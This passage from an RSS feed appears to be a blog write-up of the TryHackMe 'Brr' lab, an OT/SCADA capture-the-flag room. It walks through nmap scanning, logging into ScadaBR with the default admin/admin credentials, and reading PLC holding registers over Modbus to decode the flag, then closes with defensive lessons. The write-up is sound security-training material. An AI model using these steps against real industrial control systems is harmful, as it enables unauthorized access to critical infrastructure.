            <atom:updated>2026-11-17T14:04:20.574Z</atom:updated>
            <content:encoded><![CDATA[<p>Room Name: Brr<br>Difficulty: Easy/Medium<br>Category: Operational Technology (OT) / SCADA<br>Link: <a href="https://tryhackme.com/room/brr">https://tryhackme.com/room/brr</a></p><h3>Introduction</h3><p>The Brr room is an excellent entry-level Operational Technology (OT) challenge. It simulates a real-world scenario where an attacker gains access to an industrial control system (ICS) and interacts with a Programmable Logic Controller (PLC) using the Modbus protocol. This write-up will walk you through the reconnaissance, initial access, and the extraction of the flag from the PLC.</p><h3>Step 1: Reconnaissance &amp; Enumeration</h3><p>First, we need to identify the open ports and services running on the target machine.</p><p><em>Note: If you run a standard Nmap scan, you might encounter the </em>transmission cap hit<em> error, which means Nmap is sending packets too fast for the target to handle. We can bypass this by using the </em>--min-rate<em> flag.</em></p><p>bash</p><pre>sudo nmap -p- --min-rate 5000 -T4 -Pn &lt;TARGET_IP&gt;</pre><p><em>(Replace </em>&lt;TARGET_IP&gt;<em> with the IP provided by TryHackMe).</em></p><p>Once we have the open ports, we run a service version scan:</p><p>bash</p><pre>sudo nmap -sV -sC -p22,80,5901,8080 -Pn &lt;TARGET_IP&gt;</pre><p>Scan Results:</p><ul><li>22/tcp: SSH</li><li>80/tcp: HTTP (WebSockify Python) — <em>Rabbit hole</em></li><li>5901/tcp: VNC — <em>Rabbit hole</em></li><li>8080/tcp: HTTP (Apache Tomcat / ScadaBR) — Main Target</li></ul><p>The service on port 8080 is identified as ScadaBR, a popular open-source SCADA (Supervisory Control and Data Acquisition) system.</p><h3>Step 2: Initial Access (ScadaBR)</h3><p>We navigate to the web application in our browser:<br>http://&lt;TARGET_IP&gt;:8080/ScadaBR/</p><p>Since this is a CTF environment, we can test for default credentials. The default credentials for ScadaBR are well-known:</p><ul><li>Username: admin</li><li>Password: admin</li></ul><p>After logging in successfully, we are presented with the ScadaBR dashboard.</p><h3>Step 3: Modbus Exploitation</h3><p>Our goal is to retrieve the flag from the connected PLC using the Modbus protocol.</p><ol><li>In the ScadaBR interface, navigate to the Data Sources section.</li><li>You will notice a data source named secret. Click the edit icon (pencil) next to it.</li><li>In the Data Source configuration, we can see it is configured to communicate via TCP with a host named plc on port 5020. This is non-standard (default Modbus is 502), confirming we are on the right track.</li></ol><h3>Interacting with the PLC</h3><p>On the right side of the screen, you will see a “Modbus read data” panel. This allows us to directly query the PLC’s memory.</p><ol><li>Set the Slave ID to 1.</li><li>Change the Register range to Holding register. <em>(Note: Using </em>Input register<em> or </em>Input status<em> will return all zeros or </em>false<em> because the flag is stored in the Holding registers).</em></li><li>Set the Offset to 0.</li><li>Crucial Step: Change the Number of registers to a smaller number, such as 30 or 50. <em>If you leave it at 100, you will get an </em>Illegal data address<em> error because you are trying to read past the end of the PLC&#39;s allocated memory.</em></li><li>Click Read data.</li></ol><h3>Decoding the Flag</h3><p>Once the read is successful, you will see a list of Hex values in the output box. It will look something like this:</p><p>text</p><pre>0 ==&gt; 0054<br>1 ==&gt; 0048<br>2 ==&gt; 004d<br>3 ==&gt; 007b<br>...</pre><p>These Hex values represent the ASCII characters of the flag. To decode them:</p><ol><li>Copy all the Hex values (e.g., 54 48 4d 7b ...).</li><li>Open CyberChef (or use a terminal command).</li><li>In CyberChef, use the “From Hex” operation.</li><li>The output will reveal the flag.</li></ol><p>Flag format: THM{...}</p><h3>Conclusion &amp; Takeaways</h3><p>The Brr room provides a fantastic introduction to OT security. It highlights several critical real-world vulnerabilities:</p><ol><li>Default Credentials: Leaving default passwords on internet-facing SCADA systems is a massive security risk.</li><li>Exposed ICS Protocols: Modbus TCP has no built-in authentication or encryption. Anyone who can reach port 5020 can read and write to the PLC memory if they know the Slave ID and register ranges.</li><li>Network Segmentation: Web interfaces for critical infrastructure should never be directly exposed to the internet without strict firewall rules and VPN requirements.</li></ol><p><em>Happy Hacking!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=426baae3172a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>